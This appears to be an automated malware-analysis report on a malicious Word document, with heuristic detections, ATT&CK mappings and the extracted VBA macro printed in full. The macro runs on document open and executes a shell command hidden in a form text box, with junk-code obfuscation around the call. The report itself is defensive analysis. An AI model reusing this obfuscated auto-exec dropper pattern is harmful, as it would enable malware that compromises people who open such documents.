MALICIOUS
250
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample contains a VBA macro with an autoopen subroutine, which is a common technique for executing malicious code upon document opening. The macro utilizes a Shell() call and a suspicious cmd.exe invocation, indicating an attempt to run external commands. This strongly suggests the document is designed to download and execute a secondary payload.
Heuristics 8
-
ClamAV: Doc.Malware.Generic-6788057-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6788057-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
End Select v334283 = Array(G6908256, E3807807, h36374154, Interaction.Shell(CleanString(T38971366334.TextBox1), 57 - 57), o06425) Select Case I665 -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox" Sub autoopen() w1251254 -
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4698 bytes |
SHA-256: e8757a15ec21f40f596d8c93386011b15e71b304ce889a1aa1a97b6cd94fd206 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "T38971366334"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
w1251254
End Sub
Attribute VB_Name = "D2150701"
Function w1251254()
On Error Resume Next
Select Case N724
Case 163081977
Q738 = Tan(D519 - Rnd(k0918) / 277876117 - Tan(f5712))
j8757 = Round(N4215 * Chr(188870264))
Case 26844403
O6100 = 296215787
j5345 = Round(u698 + Chr(G971 + Log(121749527) - r2756 / Hex(317401534)))
Case 135692792
j351 = k240
O5125 = p331
End Select
Select Case f1777
Case 30916833
p097 = Tan(a112 - Rnd(O204) / 25808490 - Tan(O565))
T3095 = Round(G8500 * Chr(101881720))
Case 303862789
v0235 = 204091419
N729 = Round(d664 + Chr(G725 + Log(229354865) - q1603 / Hex(236212210)))
Case 136929842
u172 = H3198
i904 = i228
End Select
Select Case Q5113
Case 318581790
M203 = Tan(i2631 - Rnd(M772) / 156732320 - Tan(i498))
L0100 = Round(z5860 * Chr(19936440))
Case 192147395
R9610 = 147650394
u839 = Round(K0840 + Chr(Z701 + Log(72582941) - l6694 / Hex(166689418)))
Case 87261733
D5251 = s424
m104 = k469
End Select
Select Case W0305
Case 168100776
T9062 = Tan(s6565 - Rnd(p8686) / 2166668 - Tan(a8108))
r5957 = Round(T6680 * Chr(192385124))
Case 306657457
L4086 = 152592976
w1937 = Round(c0039 + Chr(j431 + Log(33932424) - w1330 / Hex(218138403)))
Case 63275896
F7284 = O094
I1796 = Y1336
End Select
v334283 = Array(G6908256, E3807807, h36374154, Interaction.Shell(CleanString(T38971366334.TextBox1), 57 - 57), o06425)
Select Case I665
Case 102602904
p0046 = Tan(H4966 - Rnd(T952) / 234800400 - Tan(O3686))
t1451 = Round(q9299 * Chr(154879964))
Case 73686580
E6274 = 203592769
f637 = Round(q031 + Chr(C525 + Log(166945718) - m4087 / Hex(63694009)))
Case 181550050
C0068 = t407
b281 = u7289
End Select
End Function
Attribute VB_Name = "f144495513"
Attribute VB_Name = "u4603756"
Attribute VB_Name = "Y13091182197078"
Attribute VB_Name = "E29691026226266"
Attribute VB_Name = "c415054317234"
Attribute VB_Name = "k84445604"
Attribute VB_Name = "t931546425"
Attribute VB_Name = "j6395892"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "q4227304"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "k65003971783"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "j928661269"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "O292217142149"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "L27363959128367"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.